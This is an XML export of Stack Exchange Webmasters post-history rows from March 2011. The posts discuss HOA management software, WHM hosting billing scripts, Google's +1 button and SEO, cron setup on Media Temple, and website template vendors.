  <row Id="25902" PostHistoryTypeId="10" PostId="11441" RevisionGUID="b46c8b09-bb9d-47ce-bc6e-8589551ab5ed" CreationDate="2011-03-31T11:50:37.673" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="25903" PostHistoryTypeId="25" PostId="11443" RevisionGUID="9a50f27d-3c9c-4f18-ab2e-7f03320b4378" CreationDate="2011-03-31T12:00:22.353" Comment="http://twitter.com/#!/StackWebmasters/status/53426405471567872" />
  <row Id="25904" PostHistoryTypeId="2" PostId="11448" RevisionGUID="fb6c5133-eb19-4990-a681-6859646869e0" CreationDate="2011-03-31T12:34:52.800" UserId="6470" Text="I'm not quite sure where this question belongs, here or in SO, so please migrate this if appropriate.&#xD;&#xA;&#xD;&#xA;##Overview##&#xD;&#xA;The large homeowners association (HOA) that I live in could really benefit from entering the 21st century in terms of management and communication with residents. There are quite a few commercial desktop and web apps for this, but I have been unable to find anything in the open source world, especially something that's targeted at HOAs or condo associations.&#xD;&#xA;&#xD;&#xA;##Functionality##&#xD;&#xA;There's a lot that could go into this kind of software, but what I'm most interested in implementing is:&#xD;&#xA;&#xD;&#xA;1. Allowing residents to submit:&#xD;&#xA;  - Maintenance requests (work orders) with form + OpenLayers map&#xD;&#xA;  - Architectural violations + map&#xD;&#xA;  - Architectural change applications&#xD;&#xA;2. Allowing staff, board members, and other authorized users to:&#xD;&#xA;  - Review and track items from 1.&#xD;&#xA;3. Provide calendar of events&#xD;&#xA;4. Provide communications including:&#xD;&#xA;  - Notification of events&#xD;&#xA;  - Notification of work orders/violations/etc&#xD;&#xA;  - Assessment notice&#xD;&#xA;5. Document repository for agenda, meeting minutes, newsletters, policy documents, etc.&#xD;&#xA;&#xD;&#xA;There could also be an accounting portion, but I think it's best to leave that out for now. Perhaps this system could be designed modularly to later allow either interfacing with existing accounting systems or to have a full blown online accounting system.&#xD;&#xA;&#xD;&#xA;I know this touches on a lot of areas, like Computerized Maintenance Management Systems (CMMS), Content Management Systems (CMS), and others.&#xD;&#xA;&#xD;&#xA;##The Question##&#xD;&#xA;Are there **existing FOSS web apps for HOAs**? Are there **other web apps** which can be suitably modified? If it's a no to both of these, what **framework** would be suitable to use? My guess is that Django, Ruby on Rails, etc would all be suitable.&#xD;&#xA;&#xD;&#xA;##Related commercial software##&#xD;&#xA;&#xD;&#xA;You can take a look at these to see what kinds of functionality is offered by the commercial apps:&#xD;&#xA;&#xD;&#xA; - [SenEarthCo][1]&#xD;&#xA; - [TOPS Professional][2]&#xD;&#xA; - Buildium&#xD;&#xA;   - association-management.buildium.com&#xD;&#xA; - List of other HOA software&#xD;&#xA;   - www.capterra.com/association-management-software&#xD;&#xA; - Another list of HOA software&#xD;&#xA;   - www.softwareadvice.com/property-management/community-hoa-software-comparison&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.senearthco.com/&#xD;&#xA;  [2]: http://www.topssoft.com/" />
  <row Id="25905" PostHistoryTypeId="1" PostId="11448" RevisionGUID="fb6c5133-eb19-4990-a681-6859646869e0" CreationDate="2011-03-31T12:34:52.800" UserId="6470" Text="Is there a FOSS web app suitable for homeowners assocations?" />
  <row Id="25906" PostHistoryTypeId="3" PostId="11448" RevisionGUID="fb6c5133-eb19-4990-a681-6859646869e0" CreationDate="2011-03-31T12:34:52.800" UserId="6470" Text="&lt;cms&gt;&lt;open-source&gt;&lt;calendar&gt;" />
  <row Id="25907" PostHistoryTypeId="2" PostId="11449" RevisionGUID="5430cf9c-9108-44b8-84e6-1b56002d8976" CreationDate="2011-02-08T12:34:01.300" UserDisplayName="Thomas John" Text="I have purchased a reseller account, next step is to set up a site for people to set up a hosting account, I have WHM from the hosting company. I also would like to have domain name registration facility in the site, how can i done this ? any ready made scripts or should I create one using WHM API ??&#xD;&#xA;&#xD;&#xA;Thanks a lot" />
  <row Id="25908" PostHistoryTypeId="1" PostId="11449" RevisionGUID="5430cf9c-9108-44b8-84e6-1b56002d8976" CreationDate="2011-02-08T12:34:01.300" UserDisplayName="Thomas John" Text="webhosting php script" />
  <row Id="25909" PostHistoryTypeId="3" PostId="11449" RevisionGUID="5430cf9c-9108-44b8-84e6-1b56002d8976" CreationDate="2011-02-08T12:34:01.300" UserDisplayName="Thomas John" Text="&lt;php&gt;" />
  <row Id="25910" PostHistoryTypeId="17" PostId="11449" RevisionGUID="4fc74d0d-f990-4383-a7a9-3f3f0c690c7e" CreationDate="2011-03-31T13:02:36.410" UserId="-1" Comment="from http://stackoverflow.com/questions/4933039/webhosting-php-script" Text="" />
  <row Id="25911" PostHistoryTypeId="2" PostId="11450" RevisionGUID="b41119e0-dae0-4552-b964-44142a15dcf1" CreationDate="2011-03-31T13:08:31.067" UserId="6467" Text="Mob rule is never a good solution. How many +1 votes do you thing Godaddy is going to get now? " />
  <row Id="25912" PostHistoryTypeId="6" PostId="11449" RevisionGUID="1b50f7fa-9e97-47c7-9f18-6a9a0a59db30" CreationDate="2011-03-31T13:16:03.513" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;php&gt;&lt;looking-for-a-script&gt;" />
  <row Id="25913" PostHistoryTypeId="6" PostId="11448" RevisionGUID="36fe2e32-7ba0-4e65-beab-a014f1703f46" CreationDate="2011-03-31T13:16:32.860" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;cms&gt;&lt;open-source&gt;&lt;looking-for-a-script&gt;&lt;calendar&gt;" />
  <row Id="25914" PostHistoryTypeId="2" PostId="11451" RevisionGUID="1c864fea-de2f-4ba9-bb62-337439172423" CreationDate="2011-03-31T13:23:35.150" UserId="5346" Text="are the video tutorials for javascript by lynda.com enough.?" />
  <row Id="25915" PostHistoryTypeId="1" PostId="11451" RevisionGUID="1c864fea-de2f-4ba9-bb62-337439172423" CreationDate="2011-03-31T13:23:35.150" UserId="5346" Text="website making (javascript)" />
  <row Id="25916" PostHistoryTypeId="3" PostId="11451" RevisionGUID="1c864fea-de2f-4ba9-bb62-337439172423" CreationDate="2011-03-31T13:23:35.150" UserId="5346" Text="&lt;javascript&gt;" />
  <row Id="25917" PostHistoryTypeId="2" PostId="11452" RevisionGUID="d66357db-5f2e-41eb-9c81-b8e17a458144" CreationDate="2011-03-31T13:37:38.183" UserId="1253" Text="To reiterate what's been said above and maybe offer a new perspective:&#xD;&#xA;&#xD;&#xA;1) This is a **social tool**, not an SEO tool or feature. The primary purpose of this feature is so people who are in the same network can see what each other recommends. You only can see what people in your network recommends. Anyone outside of your network cannot see what you have recommended. The goal is if you see that a friend recommended a page that you may find it more relevant and thus have a better experience using Google search.&#xD;&#xA;&#xD;&#xA;2) This isn't a weapon to be used by managers to torture their employees. It also isn't out to get small businesses. In fact small businesses potentially stand to gain from this. Everybody recognizes big brand names but not so much the smaller ones especially the &quot;mom and pop&quot; shops. When purchasing a good or service people tend to stay to name brands unless they have a compelling reason to do otherwise. Seeing that your friends have recommended one such company/website can be quite an endorsement and encourage sales to them.&#xD;&#xA;&#xD;&#xA;3) As of now this has no effect on a page's search rankings. This has been made very clear. However, it *may* have an effect on the search rankings in the future. &#xD;&#xA;&#xD;&#xA;4) Before this can be used as a ranking factor Google must overcome several issues including:&#xD;&#xA;&#xD;&#xA;- Spam. You can be sure Google will analyze how this is being used to see if spam is a big issue (you can bet it will be) and to see if they can identify trends in that spam in order to make this a useful ranking factor. Until they can do that will a high percentage of reliability you won't be seeing this happen.&#xD;&#xA;&#xD;&#xA;- This is a self fulfilling prophecy. Sites that rank well will have a much greater chance of getting +1's then sites that rank below them. This is because they have a higher visibility thanks to their high ranking. Thus they get more +1's and thus they continue to rank well. Even though this will eventually be allowed to be put directly on web pages themselves, those pages that rank well in Google will get more traffic and still have a higher exposure to Google users and +1 clicks. Needless to say this makes giving these +1's any ranking value is a flawed prospect. Just like [tracking clicks on the search results][1].&#xD;&#xA;&#xD;&#xA;- The roll out of this will be slow which means that it won't be a ranking factor until it can be used in its full capacity and then properly studied. This means don't expect it to be a ranking factor for quite some time.&#xD;&#xA;&#xD;&#xA;**Bottom Line**: this is not an SEO tool and will not affect your rankings any time soon. Use it properly (i.e. recommend your friends and sites you like) and see if this can become a useful tool for all of us.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3576/does-google-rate-the-webpage-by-amount-of-visits/3577#3577" />
  <row Id="25918" PostHistoryTypeId="5" PostId="11452" RevisionGUID="a94b8983-3f7d-4add-aa86-408090bae5c2" CreationDate="2011-03-31T13:44:14.890" UserId="1253" Comment="added 377 characters in body" Text="To reiterate what's been said above and maybe offer a new perspective:&#xD;&#xA;&#xD;&#xA;1) This is a **social tool**, not an SEO tool or feature. The primary purpose of this feature is so people who are in the same network can see what each other recommends. You only can see what people in your network recommends. Anyone outside of your network cannot see what you have recommended. The goal is if you see that a friend recommended a page that you may find it more relevant and thus have a better experience using Google search.&#xD;&#xA;&#xD;&#xA;2) This isn't a weapon to be used by managers to torture their employees. It also isn't out to get small businesses. In fact small businesses potentially stand to gain from this. Everybody recognizes big brand names but not so much the smaller ones especially the &quot;mom and pop&quot; shops. When purchasing a good or service people tend to stay to name brands unless they have a compelling reason to do otherwise. Seeing that your friends have recommended one such company/website can be quite an endorsement and encourage sales to them.&#xD;&#xA;&#xD;&#xA;3) As of now this has no effect on a page's search rankings. This has been made very clear. However, it *may* have an effect on the search rankings in the future. &#xD;&#xA;&#xD;&#xA;4) Before this can be used as a ranking factor Google must overcome several issues including:&#xD;&#xA;&#xD;&#xA;- Spam. You can be sure Google will analyze how this is being used to see if spam is a big issue (you can bet it will be) and to see if they can identify trends in that spam in order to make this a useful ranking factor. Until they can do that will a high percentage of reliability you won't be seeing this happen.&#xD;&#xA;&#xD;&#xA;- This is a self fulfilling prophecy. Sites that rank well will have a much greater chance of getting +1's then sites that rank below them. This is because they have a higher visibility thanks to their high ranking. Thus they get more +1's and thus they continue to rank well. Even though this will eventually be allowed to be put directly on web pages themselves, those pages that rank well in Google will get more traffic and still have a higher exposure to Google users and +1 clicks. Needless to say this makes giving these +1's any ranking value is a flawed prospect. Just like [tracking clicks on the search results][1].&#xD;&#xA;&#xD;&#xA;- The roll out of this will be slow which means that it won't be a ranking factor until it can be used in its full capacity and then properly studied. This means don't expect it to be a ranking factor for quite some time.&#xD;&#xA;&#xD;&#xA;- **The odds are this will not affect general Google rankings and will only affect personalized search results.** Recommendations by your friends may get a boost. This will keep spam from having any real effect and if you see your friend recommending lots of crap the odds are you'll unfriend them making their efforts less worthwhile. It's a natural form of spam control.&#xD;&#xA;&#xD;&#xA;**Bottom Line**: this is not an SEO tool and will not affect your rankings any time soon. Use it properly (i.e. recommend your friends and sites you like) and see if this can become a useful tool for all of us. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3576/does-google-rate-the-webpage-by-amount-of-visits/3577#3577" />
  <row Id="25919" PostHistoryTypeId="5" PostId="11452" RevisionGUID="74346c8c-296b-4d59-ba76-90fc555eec00" CreationDate="2011-03-31T13:53:06.180" UserId="1253" Comment="edited body" Text="To reiterate what's been said above and maybe offer a new perspective:&#xD;&#xA;&#xD;&#xA;1) This is a **social tool**, not an SEO tool or feature. The primary purpose of this feature is so people who are in the same network can see what each other recommends. You only can see what people in your network recommends. Anyone outside of your network cannot see what you have recommended. The goal is if you see that a friend recommended a page that you may find it more relevant and thus have a better experience using Google search.&#xD;&#xA;&#xD;&#xA;2) This isn't a weapon to be used by managers to torture their employees. It also isn't out to get small businesses. In fact small businesses potentially stand to gain from this. Everybody recognizes big brand names but not so much the smaller ones especially the &quot;mom and pop&quot; shops. When purchasing a good or service people tend to stay to name brands unless they have a compelling reason to do otherwise. Seeing that your friends have recommended one such company/website can be quite an endorsement and encourage sales to them.&#xD;&#xA;&#xD;&#xA;3) As of now this has no effect on a page's search rankings. This has been made very clear. However, it *may* have an effect on the search rankings in the future. &#xD;&#xA;&#xD;&#xA;4) Before this can be used as a ranking factor Google must overcome several issues including:&#xD;&#xA;&#xD;&#xA;- Spam. You can be sure Google will analyze how this is being used to see if spam is a big issue (you can bet it will be) and to see if they can identify trends in that spam in order to make this a useful ranking factor. Until they can do that with a high percentage of reliability you won't be seeing this happen.&#xD;&#xA;&#xD;&#xA;- This is a self fulfilling prophecy. Sites that rank well will have a much greater chance of getting +1's then sites that rank below them. This is because they have a higher visibility thanks to their high ranking. Thus they get more +1's and thus they continue to rank well. Even though this will eventually be allowed to be put directly on web pages themselves, those pages that rank well in Google will get more traffic and still have a higher exposure to Google users and +1 clicks. Needless to say this makes giving these +1's any ranking value is a flawed prospect. Just like [tracking clicks on the search results][1].&#xD;&#xA;&#xD;&#xA;- The roll out of this will be slow which means that it won't be a ranking factor until it can be used in its full capacity and then properly studied. This means don't expect it to be a ranking factor for quite some time.&#xD;&#xA;&#xD;&#xA;- **The odds are this will not affect general Google rankings and will only affect personalized search results.** Recommendations by your friends may get a boost. This will keep spam from having any real effect and if you see your friend recommending lots of crap the odds are you'll unfriend them making their efforts less worthwhile. It's a natural form of spam control.&#xD;&#xA;&#xD;&#xA;**Bottom Line**: this is not an SEO tool and will not affect your rankings any time soon. Use it properly (i.e. recommend your friends and sites you like) and see if this can become a useful tool for all of us. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3576/does-google-rate-the-webpage-by-amount-of-visits/3577#3577" />
  <row Id="25922" PostHistoryTypeId="2" PostId="11454" RevisionGUID="d537a995-a009-485e-9693-04c297b2dbd7" CreationDate="2011-03-31T14:24:49.297" UserId="1643" Text="There are several alternatives, such as http://www.whmautopilot.com/ or https://www.phpcoin.com/ or http://www.whmcs.com/. Because you'll want to charge people for the domain names you need to be looking for a &quot;billing system&quot;." />
  <row Id="25923" PostHistoryTypeId="2" PostId="11455" RevisionGUID="e5cac414-1b18-49b1-a4ec-f4215cee8626" CreationDate="2011-03-31T14:26:53.193" UserId="6473" Text="I'm having the reverse problem. I have a script which creates and positions a sidebar, but unfortunately the page is being rendered before my script is run, resulting in an unsightly jerk as page elements are redrawn in the new locations.&#xD;&#xA;Is it possible to block rendering until my script is done, or otherwise have my size and position stuff run before the first render?&#xD;&#xA;" />
  <row Id="25924" PostHistoryTypeId="2" PostId="11456" RevisionGUID="b626b8c0-4316-4a91-b872-111814ec8ad6" CreationDate="2011-03-31T14:29:51.357" UserId="1905" Text="I am learning how to use Cron jobs. The server I am working on is [Media Temple Dedicated Virtual Server][1]. The &quot;Control Panel&quot; is [Parallels][2]. I cant find where I can setup cron jobs.&#xD;&#xA;&#xD;&#xA;Is SSH the only way? Since I am unfamiliar, anyone care to give me some pointers to learn it abit?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mediatemple.net/webhosting/dv/&#xD;&#xA;  [2]: http://www.parallels.com/products/plesk/" />
  <row Id="25925" PostHistoryTypeId="1" PostId="11456" RevisionGUID="b626b8c0-4316-4a91-b872-111814ec8ad6" CreationDate="2011-03-31T14:29:51.357" UserId="1905" Text="How to setup Cron (Media Temple Dedicated Virtual/Parallels)" />
  <row Id="25926" PostHistoryTypeId="3" PostId="11456" RevisionGUID="b626b8c0-4316-4a91-b872-111814ec8ad6" CreationDate="2011-03-31T14:29:51.357" UserId="1905" Text="&lt;cron&gt;&lt;mediatemple&gt;" />
  <row Id="25927" PostHistoryTypeId="5" PostId="11443" RevisionGUID="1a4acb6d-e9f3-4e1c-9496-b74fe6c4bde5" CreationDate="2011-03-31T14:30:08.183" UserId="1429" Comment="added 392 characters in body" Text="Read more about the subjet here: http://www.techspot.com/news/43064-google-adds-1-button-to-search-results.html&#xD;&#xA;&#xD;&#xA;Beside being something that will be definitely abused by spammers and SEOs, don't you think it's very unfair for small business?&#xD;&#xA;&#xD;&#xA;For a company with many employees it will be very easy to force them to add a +1 each, thus resulting in **company's website being upvoted a number of times that is directly proportional to the number of employees the company have**.&#xD;&#xA;&#xD;&#xA;I know you might say: *&quot;well also in real life is like this, if you have many employees, they will spread the voice about your company&quot;*, but I think it's different, because I heard many times employees talking bad about the company where they work, but **they won't be able to do the same on Google cause the manager would immediately track who did not not upvote the company website**, and as far as I know you can not downvote (I mean they can not even create a fake profile to just downvote, but let's not get into this right now).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**UPDATE:** After reading some answer I thought to make clear that I did not talk about ranking in this question, probably adding the word `SEO` at the beginning of the title was somehow misleading.&#xD;&#xA;&#xD;&#xA;**I do not think this new +1 feaure could influence ranking (at least for now), but still it will definitely influence clicks on results in SERPs**, we'll probably ses also a new type of SEO." />
  <row Id="25928" PostHistoryTypeId="5" PostId="11452" RevisionGUID="2ebb445f-dd0d-44e0-a03b-8c1e2a651e2c" CreationDate="2011-03-31T14:33:56.207" UserId="1253" Comment="added 325 characters in body; deleted 4 characters in body" Text="To reiterate what's been said above and maybe offer a new perspective:&#xD;&#xA;&#xD;&#xA;1) This is a **social tool**, not an SEO tool or feature. The primary purpose of this feature is so people who are in the same network can see what each other recommends. You only can see what people in your network recommends. Anyone outside of your network cannot see what you have recommended. The goal is if you see that a friend recommended a page that you may find it more relevant and thus have a better experience using Google search.&#xD;&#xA;&#xD;&#xA;2) This isn't a weapon to be used by managers to torture their employees. It also isn't out to get small businesses. In fact small businesses potentially stand to gain from this. Everybody recognizes big brand names but not so much the smaller ones especially the &quot;mom and pop&quot; shops. When purchasing a good or service people tend to stay to name brands unless they have a compelling reason to do otherwise. Seeing that your friends have recommended one such company/website can be quite an endorsement and encourage sales to them.&#xD;&#xA;&#xD;&#xA;3) As of now this has no effect on a page's search rankings. This has been made very clear. However, it *may* have an effect on the search rankings in the future. &#xD;&#xA;&#xD;&#xA;4) Before this can be used as a ranking factor Google must overcome several issues including:&#xD;&#xA;&#xD;&#xA;- Spam. You can be sure Google will analyze how this is being used to see if spam is a big issue (you can bet it will be) and to see if they can identify trends in that spam in order to make this a useful ranking factor. Until they can do that with a high percentage of reliability you won't be seeing this happen.&#xD;&#xA;&#xD;&#xA;- This is a self fulfilling prophecy. Sites that rank well will have a much greater chance of getting +1's then sites that rank below them. This is because they have a higher visibility thanks to their high ranking. Thus they get more +1's and thus they continue to rank well. Even though this will eventually be allowed to be put directly on web pages themselves, those pages that rank well in Google will get more traffic and still have a higher exposure to Google users and +1 clicks. Needless to say this makes giving these +1's any ranking value is a flawed prospect. Just like [tracking clicks on the search results][1].&#xD;&#xA;&#xD;&#xA;- The roll out of this will be slow which means that it won't be a ranking factor until it can be used in its full capacity and then properly studied. This means don't expect it to be a ranking factor for quite some time.&#xD;&#xA;&#xD;&#xA;- **The odds are this will not affect general Google rankings and will only affect personalized search results.** Recommendations by your friends may get a boost. This will keep spam from having any real effect and if you see your friend recommending lots of crap the odds are you'll unfriend them making their efforts less worthwhile. It's a natural form of spam control.&#xD;&#xA;&#xD;&#xA;**Bottom Line**: this is not an SEO tool and will not affect your rankings any time soon. Use it properly (i.e. recommend your friends and sites you like) and see if this can become a useful tool for all of us. &#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;There are no such things as &quot;new type of SEO&quot;. There will just be people trying to figure out how to use it to their advantage which is what everyone does with everything. In this case it will be &quot;how to use social tools to my advantage&quot; which just falls under the same umbrella as Facebook, Twitter, etc.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3576/does-google-rate-the-webpage-by-amount-of-visits/3577#3577" />
  <row Id="25929" PostHistoryTypeId="2" PostId="11457" RevisionGUID="ea79e147-f081-4cd4-97d6-83620d6380f2" CreationDate="2011-03-31T14:59:59.900" UserId="6474" Text="Is there a list out there that has IP addresses of known spammers? I wish to know so I can block them in my forum. " />
  <row Id="25930" PostHistoryTypeId="1" PostId="11457" RevisionGUID="ea79e147-f081-4cd4-97d6-83620d6380f2" CreationDate="2011-03-31T14:59:59.900" UserId="6474" Text="IP Addresses of Known Spammers" />
  <row Id="25931" PostHistoryTypeId="3" PostId="11457" RevisionGUID="ea79e147-f081-4cd4-97d6-83620d6380f2" CreationDate="2011-03-31T14:59:59.900" UserId="6474" Text="&lt;spam&gt;&lt;ip&gt;" />
  <row Id="25932" PostHistoryTypeId="25" PostId="11448" RevisionGUID="a32422ad-58fb-4253-b042-f1e366a815ac" CreationDate="2011-03-31T15:00:22.693" Comment="http://twitter.com/#!/StackWebmasters/status/53471705179504640" />
  <row Id="25933" PostHistoryTypeId="5" PostId="11457" RevisionGUID="73958408-a02c-4bd3-bdec-bc4313b01224" CreationDate="2011-03-31T15:07:38.093" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Comment spammer IP list?](http://webmasters.stackexchange.com/questions/8966/comment-spammer-ip-list)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Is there a list out there that has IP addresses of known spammers? I wish to know so I can block them in my forum. " />
  <row Id="25934" PostHistoryTypeId="10" PostId="11457" RevisionGUID="652b85f8-8035-4276-9345-3aa15a807e9b" CreationDate="2011-03-31T15:07:37.923" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="25935" PostHistoryTypeId="2" PostId="11458" RevisionGUID="c1e88fcc-6280-4ff6-9ad4-c5947ac016f5" CreationDate="2011-03-31T15:25:20.497" UserId="1643" Text="On this screenshot from the Media Temple website you can see &quot;scheduled tasks&quot; http://s3.mt-cdn.net/_images/screenshots/plesk_serveradmin__84a459d.jpg. That's probably the place to start. (I guess they call it that because cron is too technical.)" />
  <row Id="25936" PostHistoryTypeId="2" PostId="11459" RevisionGUID="6284ec02-af8d-46bf-bbcb-fbbc64f31e88" CreationDate="2011-03-31T15:40:34.597" UserId="6113" Text="I would suggest contacting their customer support or looking into the Knowledge Base. Both are excellent at Media Temple.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;[http://kb.mediatemple.net/questions/82/Using+Cron+on+a+%28dv%29+Dedicated+Virtual+Server][1]&#xD;&#xA;&#xD;&#xA;:-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kb.mediatemple.net/questions/82/Using+Cron+on+a+%28dv%29+Dedicated+Virtual+Server" />
  <row Id="25937" PostHistoryTypeId="2" PostId="11460" RevisionGUID="c7dbe1c5-9d59-4032-828b-1df74a6b81f0" CreationDate="2011-03-30T13:11:26.003" UserDisplayName="user437631" Text="is there any hosting that gives you full environment for development and production web site &#xD;&#xA;including IIS,Sql server, SMTP?&#xD;&#xA;Thanks." />
  <row Id="25938" PostHistoryTypeId="1" PostId="11460" RevisionGUID="c7dbe1c5-9d59-4032-828b-1df74a6b81f0" CreationDate="2011-03-30T13:11:26.003" UserDisplayName="user437631" Text="full environment for development and production web site" />
  <row Id="25939" PostHistoryTypeId="3" PostId="11460" RevisionGUID="c7dbe1c5-9d59-4032-828b-1df74a6b81f0" CreationDate="2011-03-30T13:11:26.003" UserDisplayName="user437631" Text="&lt;database&gt;&lt;web-development&gt;&lt;iis&gt;" />
  <row Id="25940" PostHistoryTypeId="17" PostId="11460" RevisionGUID="1ff6e2a0-fa55-47de-aba8-3e90ecb841af" CreationDate="2011-03-31T16:23:47.747" UserId="-1" Comment="from http://stackoverflow.com/questions/5486740/full-environment-for-development-and-production-web-site" Text="" />
  <row Id="25941" PostHistoryTypeId="2" PostId="11461" RevisionGUID="b6999107-6f2a-4d4f-9ed3-e6926622acb0" CreationDate="2011-03-31T16:26:28.120" UserId="1253" Text="Checkout [http://www.iis.net/webpi][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iis.net/webpi" />
  <row Id="25942" PostHistoryTypeId="2" PostId="11462" RevisionGUID="e7c16326-2f04-4971-a40b-4fa0055bfa25" CreationDate="2011-03-31T16:59:46.607" UserId="2697" Text="As of late, I've been in quite a bind. I have this website which is a simple Q/A. Just for fun -- being built with all that good stuff (PHP/MySQL/jQuery/etc)&#xD;&#xA;&#xD;&#xA;Anyways, I found out I cannot do MANY THINGS without getting a positive ID. Without registration (them becoming anonymous), I can't keep track of who's who. Sure I can use IPs or cookies but those are not fool-proof. I can't do things like &quot;favorite questions&quot;, &quot;upvote questions&quot;, &quot;email notices&quot;, spamming cut-down, etc ... among other things.&#xD;&#xA;&#xD;&#xA;If you DO register, you WOULD be able to do experience those feature thus making the website more fun to visit. However, at the expensive of not registering and giving up those features, I am at a bind.&#xD;&#xA;&#xD;&#xA;Should I give up those features and have no-registration anonymous posting Q/A or make them sign up with three forms... email, password, password check, SUBMIT! Then login-logoff...&#xD;&#xA;&#xD;&#xA;What do you think? (Sorry if I put this in the wrong place...)" />
  <row Id="25943" PostHistoryTypeId="1" PostId="11462" RevisionGUID="e7c16326-2f04-4971-a40b-4fa0055bfa25" CreationDate="2011-03-31T16:59:46.607" UserId="2697" Text="Registration vs Anonymous" />
  <row Id="25944" PostHistoryTypeId="3" PostId="11462" RevisionGUID="e7c16326-2f04-4971-a40b-4fa0055bfa25" CreationDate="2011-03-31T16:59:46.607" UserId="2697" Text="&lt;website-features&gt;" />
  <row Id="25945" PostHistoryTypeId="2" PostId="11463" RevisionGUID="9adbcb0e-ba89-43ef-9a76-5b400e9595df" CreationDate="2011-03-31T17:01:50.367" UserId="6475" Text="I do not agree that this will have no effect on small business.  It is true that you will only be receiving recommendations from your connections that you trust, but THEY will be somewhat influenced by the big companies, if only by the sheer numbers on search results that cross their desktop on any one day.&#xD;&#xA;&#xD;&#xA;-Ralph Winters" />
  <row Id="25946" PostHistoryTypeId="2" PostId="11464" RevisionGUID="413388f1-37c0-4af6-a0c7-add415f78d0e" CreationDate="2011-03-31T17:27:16.250" UserId="6476" Text="I do not agree that employees in big company will be spending time clicking I like buttons from Social Networks. Employees should work, not spending time on Internet social networks...&#xD;&#xA;It is a technical thing. You can not expect that World population instantly recognize technology and become expert.&#xD;&#xA;I think, that Buzz button will go away, and +1 will continue.&#xD;&#xA;Same as Tweeter button, clients are asking, what the Tweeter is for?&#xD;&#xA;Facebook is more logical as it is simple.&#xD;&#xA;Linkedin as the only business network, is necessary.&#xD;&#xA;I like, I +, I tweet, I buzz, I Share, I digg...&#xD;&#xA;&#xD;&#xA;What do you think about &quot;I work&quot; button?" />
  <row Id="25947" PostHistoryTypeId="25" PostId="11457" RevisionGUID="2882652e-ea0b-49d2-96e5-f99a63001caf" CreationDate="2011-03-31T18:00:22.720" Comment="http://twitter.com/#!/StackWebmasters/status/53517002815442944" />
  <row Id="25948" PostHistoryTypeId="2" PostId="11465" RevisionGUID="3782dfdf-dcde-4633-a33d-6bd214885fdc" CreationDate="2011-03-31T18:09:39.240" UserId="3659" Text="Your question is rather broad so I will try to make it as simple as possible.&#xD;&#xA;&#xD;&#xA;The best place for a website template largely depends on the kind of website you are aiming for and what framework you will be using. This should be your first step, especially as websites that offer themes an/or templates are often specialized in or focussed on a specific framework such as: [Joomla][1] (best for websites), [Drupal][2], [Wordpress][3] (best for blogs), [Magento][4] (best for e-commerce / webshops) or self written (where you do all the coding yourself).&#xD;&#xA;&#xD;&#xA;Website templates are becoming more and more sophisticated based on new framework developments and improvement of available technology. Please make sure that in case you are opting for a solution other than doing the coding yourself you would want to select one that is open-source and has a thriving community behind it.&#xD;&#xA;&#xD;&#xA;When it comes to the templates I have summed up the major option above and I will give you some recommendations for each of them:&#xD;&#xA;&#xD;&#xA;**Joomla**&#xD;&#xA; - [Rocket Theme][5]&#xD;&#xA; - [Gavick Pro][6]&#xD;&#xA; - [Yoo Theme][7]&#xD;&#xA;&#xD;&#xA;**Drupal**&#xD;&#xA;  - [Theme Shark][8]&#xD;&#xA;&#xD;&#xA;**Wordpress**&#xD;&#xA; - [Elegant Themes][9]&#xD;&#xA; - [Press 75][10]&#xD;&#xA; - [Woo Themes][11]&#xD;&#xA;&#xD;&#xA;**Magento**&#xD;&#xA; - [EM Themes][12]&#xD;&#xA;&#xD;&#xA;**Self written**&#xD;&#xA; - Thousands!&#xD;&#xA;&#xD;&#xA;Obviously free themes are offered and for some purposes these are just fine. However, in most cases paying the $30,- to $80,- is money well spend. Quality XHTML / CSS, splendid designs, fast page loading, built in tools, widgets and plugins, support etc etc. So that would be a point that might be worth reconsidering...&#xD;&#xA;&#xD;&#xA;For the rest. Enjoy!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.joomla.org/&#xD;&#xA;  [2]: http://drupal.org/&#xD;&#xA;  [3]: http://wordpress.org/&#xD;&#xA;  [4]: http://www.magentocommerce.com/&#xD;&#xA;  [5]: http://www.rockettheme.com/&#xD;&#xA;  [6]: http://www.gavick.com/&#xD;&#xA;  [7]: http://yootheme.com/&#xD;&#xA;  [8]: http://www.themeshark.com/&#xD;&#xA;  [9]: http://www.elegantthemes.com/%5C&#xD;&#xA;  [10]: http://www.press75.com/&#xD;&#xA;  [11]: http://www.woothemes.com/&#xD;&#xA;  [12]: http://www.emthemes.com/" />
